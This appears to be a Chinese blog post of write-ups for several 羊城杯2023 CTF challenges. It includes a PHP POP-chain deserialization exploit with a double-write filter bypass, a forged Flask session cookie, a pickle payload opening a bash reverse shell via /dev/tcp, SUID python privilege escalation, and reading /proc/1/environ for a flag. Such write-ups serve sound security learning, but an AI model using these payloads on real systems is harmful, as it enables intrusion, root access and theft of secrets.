• 羊城杯2023 部分wp


    目录

    D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

    Serpent(pickle反序列化&python提权)

    ArkNights(环境变量泄露)

    Ez_misc(win10sinpping_tools恢复)


    D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

    访问/p0p.php 跳转到了游戏界面

    应该是存在302跳转 burp抓包 提示 /hint.zip

    下载下来得到一段密文:

    Ö0 0vO Ow0 0w0 Ö0 ÖO Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0Ö Öo owO O.0 owo Öo owO O.0 owo Ö0 0wÖ O.0 0w0 Ö0 OwO ov0 owo o_O O.Ö Övo

    尊嘟假嘟翻译器解密得到:flag在/tmp/catcatf1ag.txt

    PHP<=7.4.21

    存在Development Server源码泄露漏洞

    得到 p0p.php的源码:

    1. header("HTTP/1.1 302 found");
    2. header("Location:https://www.baidu.com");
    3. class Pro{
    4. private $exp;
    5. private $rce2;
    6. public function __get($name)
    7. {
    8. return $this->$rce2=$this->exp[$rce2];
    9. }
    10. public function __toString()
    11. {
    12. call_user_func('system', "cat /flag");
    13. }
    14. }
    15. class Yang
    16. {
    17. public function __call($name, $ary)
    18. {
    19. if ($this->key === true || $this->finish1->name) {
    20. if ($this->finish->finish) {
    21. call_user_func($this->now[$name], $ary[0]);
    22. }
    23. }
    24. }
    25. public function ycb()
    26. {
    27. $this->now = 0;
    28. return $this->finish->finish;
    29. }
    30. public function __wakeup()
    31. {
    32. $this->key = True;
    33. }
    34. }
    35. class Cheng
    36. {
    37. private $finish;
    38. public $name;
    39. public function __get($value)
    40. {
    41. return $this->$value = $this->name[$value];
    42. }
    43. }
    44. class Bei
    45. {
    46. public function __destruct()
    47. {
    48. if ($this->CTF->ycb()) {
    49. $this->fine->YCB1($this->rce, $this->rce1);
    50. }
    51. }
    52. public function __wakeup()
    53. {
    54. $this->key = false;
    55. }
    56. }
    57. function prohib($a){
    58. $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    59. return preg_replace($filter,'',$a);
    60. }
    61. $a = $_POST["CTF"];
    62. if (isset($a)){
    63. unserialize(prohib($a));
    64. }
    65. ?>
    66. # ./有hint.zip

    简单php反序列化,构造pop链

    1. class Pro{
    2. private $exp;
    3. private $rce2 = "haha";
    4. public function __get($name)
    5. {
    6. echo "__get()";
    7. var_dump($this->$rce2=$this->exp[$rce2]);
    8. return $this->$rce2=$this->exp[$rce2];
    9. }
    10. public function __toString()
    11. {
    12. call_user_func('system', "cat /flag");
    13. }
    14. }
    15. class Yang
    16. {
    17. public function __call($name, $ary)
    18. {
    19. echo " Yang::__call() ";
    20. if ($this->key === true || $this->finish1->name) {
    21. if ($this->finish->finish) {
    22. echo " call_user_func()";
    23. #echo $name,$ary[0];
    24. call_user_func($this->now[$name], $ary[0]);
    25. }
    26. }
    27. }
    28. public function ycb()
    29. {
    30. echo " Yang::ycb() ";
    31. $this->now = 0;
    32. return $this->finish->finish; # 给 $this->finish 赋 Cheng类 调其私有属性触发 __get()
    33. }
    34. public function __wakeup()
    35. {
    36. $this->key = True;
    37. }
    38. }
    39. class Cheng
    40. {
    41. private $finish;
    42. public $name;
    43. public function __get($value)
    44. {
    45. echo " Cheng::__get() ";
    46. return $this->$value = $this->name[$value]; #
    47. }
    48. }
    49. class Bei
    50. {
    51. public function __destruct()
    52. {
    53. if ($this->CTF->ycb()) { # 给$this->CTF 赋 Yang()类 调其 ycb()
    54. $this->fine->YCB1($this->rce, $this->rce1); # 给$this->fine 赋 Yang 不存在YCB1() 调其 __call()
    55. }
    56. }
    57. public function __wakeup()
    58. {
    59. $this->key = false;
    60. }
    61. }
    62. function prohib($a){
    63. $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    64. return preg_replace($filter,'',$a);
    65. }
    66. $a = new Bei();
    67. $a->CTF = new Yang();
    68. $a->CTF->finish = new Cheng();
    69. $a->CTF->finish->name = ["finish"=>"aaa"];
    70. $a->fine = new Yang();
    71. $a->fine->finish = new Cheng();
    72. $a->fine->finish->name = ["finish"=>"aaa"];
    73. $a->fine->finish1 = new Cheng();
    74. $a->fine->finish1->name = 1;
    75. $a->fine->now['YCB1'] = "syssystemtem";
    76. $a->rce = "cat /tmp/catcatf1ag.txt > a";
    77. $b = serialize($a);
    78. echo urlencode($b);
    79. ?>

    由于存在一个过滤

    1. function prohib($a){
    2. $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
    3. return preg_replace($filter,'',$a);
    4. }

    但是过滤只是将关键字替换为空,可以双写绕过

    因此将生成的序列化数据,修改 末尾 s%3A12%3A%22syssystemtem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A27%3A%22cat+%2Ftmp%2Fcatcatf1ag.txt+%3E+a%22%3B%7D 的 12替换为 6 这样过滤之后也可以正常反序列化

    外带 flag内容到 a 访问/a 得到flag

    Serpent(pickle反序列化&python提权)

    访问/www.zip得到部分代码

    1. from flask import Flask, session
    2. from secret import secret
    3. @app.route('/verification')
    4. def verification():
    5. try:
    6. attribute = session.get('Attribute')
    7. if not isinstance(attribute, dict):
    8. raise Exception
    9. except Exception:
    10. return 'Hacker!!!'
    11. if attribute.get('name') == 'admin':
    12. if attribute.get('admin') == 1:
    13. return secret
    14. else:
    15. return "Don't play tricks on me"
    16. else:
    17. return "You are a perfect stranger to me"
    18. if __name__ == '__main__':
    19. app.run('0.0.0.0', port=80)

    访问 /verification路由 cookie放到 jwt.io 里

    得到 SECRET_KEY:GWHTHKpOjDIQ2b

    flask 伪造session

    1. {"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}
    2. # python3 flask_session_cookie_manager3.py encode -s "GWHTHKpOjDIQ2b" -t '{"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}'
    3. eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUSEtwT2pESVEyYiJ9fQ.ZPLH7A.VLZkgFun7fWka435Q3Xrrxb_hWE

    然后访问 得到secret

    得到 /ppppppppppick1e路由

    burp发包,在响应包得到:Hint: Source in /src0de 得到源码:

    1. @app.route('c0de')
    2. def src0de():
    3. f = open(__file__, 'r')
    4. rsp = f.read()
    5. f.close()
    6. return rsp[rsp.index("@app.route('/src0de')"):]
    7. @app.route('ppppppppick1e')
    8. def ppppppppppick1e():
    9. try:
    10. username = "admin"
    11. rsp = make_response("Hello, %s " % username)
    12. rsp.headers['hint'] = "Source in c0de"
    13. pick1e = request.cookies.get('pick1e')
    14. if pick1e is not None:
    15. pick1e = base64.b64decode(pick1e)
    16. else:
    17. return rsp
    18. if check(pick1e):
    19. pick1e = pickle.loads(pick1e)
    20. return "Go for it!!!"
    21. else:
    22. return "No Way!!!"
    23. except Exception as e:
    24. error_message = str(e)
    25. return error_message
    26. return rsp
    27. class GWHT():
    28. def __init__(self):
    29. pass
    30. if __name__ == '__main__':
    31. app.run('0.0.0.0', port=80)

    在/ppppppppick1e 路由会对session的pick1e值 进行pickle.load() 存在pickle反序列化,但是有一个未知的check() 需要绕过·

    1. import base64
    2. #payload=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("")o.'
    3. payload = b'''(cos
    4. system
    5. S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
    6. o.'''
    7. # env | tee /tmp/a
    8. print(base64.b64encode(payload))

    可以o操作码绕过,system执行命令 刚开始可能是构造payload出错了,报错信息中还以为过滤了>

    反弹不了shell 就一直想着怎么构造回显 将命令执行结构写入文件 查看写入的文件时,又一直显示 Permission Denied 。。。。

    最后发现并没有过滤 > bash弹到shell之后,发现没有权限,需要提取 怪不得permission denied

    查找具有suid权限的命令,找到了 /usr/bin/python3.8

    可以python 进行提权

    python3 -c "import os;os.setuid(0);os.system('/bin/bash');"

    这里直接 python3 /flag

    根据报错信息得到了flag

    ArkNights(环境变量泄露)

    非预期:

    读取 /proc/1/environ 获得flag

    Ez_misc(win10sinpping_tools恢复)

    下载附件,得到一个图片 下面应该有东西

    脚本恢复一下宽、高

    宽:0x164

    高:0x61

    假的flag

    010打开图片发现 IEND fivenumbers 字样 可能是win的自带截图

    脚本恢复一下

    得到flag

  • 相关阅读:
    行业大牛推荐,大数据必备工具书(基础框架、数据库、大数据分析分布式技术)
    【Java中23种面试常考的设计模式之状态模式(State)---行为型模式】
    如何实现车机体验”遥遥领先”?头部玩家已经给出答案
    14、学习MySQL 连接的使用
    Redis-使用java代码操作Redis
    Java基于微信小程序的校园流浪猫收养系统 uniapp
    Java中的volatile关键字
    个人笔记,深入理解 JVM,很全
    【单片机】单片机入门指南
    C++基础入门
  • 原文地址:https://blog.csdn.net/weixin_63231007/article/details/132658135